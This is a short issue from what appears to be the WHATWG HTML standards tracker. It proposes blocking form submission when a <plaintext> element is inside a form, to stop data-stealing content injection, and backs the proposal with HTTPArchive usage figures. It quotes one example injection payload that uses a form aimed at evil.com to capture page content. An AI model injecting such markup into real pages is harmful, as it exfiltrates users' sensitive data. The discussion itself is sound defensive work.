<plaintext>. #2252Description
So far as I can tell, <plaintext> is used exclusively (data below) for defense against content injection (a la Google's Safen Up), and in content injection attacks that exfiltrate sensitive data (e.g. <form action="https://evil.com/"><select><option><plaintext> eats the rest of the page, and clickjacking leads to form submission). I'd like to make the latter less viable while not breaking the former.
One option that comes to mind is to prevent form submission if a <plaintext> element is contained in the form. That is, we'd add another condition to step 2 of https://html.spec.whatwg.org/#form-submission-algorithm, aborting form submission if <plaintext> was a child of the relevant <form>. We could also just prevent the <plaintext>-laden element from becoming part of the form data set by poking at https://html.spec.whatwg.org/#constructing-the-form-data-set, but given the usage, the draconian approach seems simpler.
WDYT?
@PatrickToomey: I think this would mitigate the things you're concerned about for GitHub.
@arturjanc: I think this would also mitigate some of the things we were talking about yesterday.
@fmarier, @freddyb, @bzbarsky, @johnwilander, @teddink: Would y'all be interested in making this kind of change? Do other idea occur to y'all?
Data: HTTPArchive shows only 3,852 uses of <plaintext> in the most recently imported (2016-12-15) run. 1,430 of those are Blogger defending against injection (e.g. https://www.blogger.com/followers.g?...), 2,281 are the Intercom.com library defending against injection (e.g. https://js.intercomcdn.com/frame.6eb033d0.js).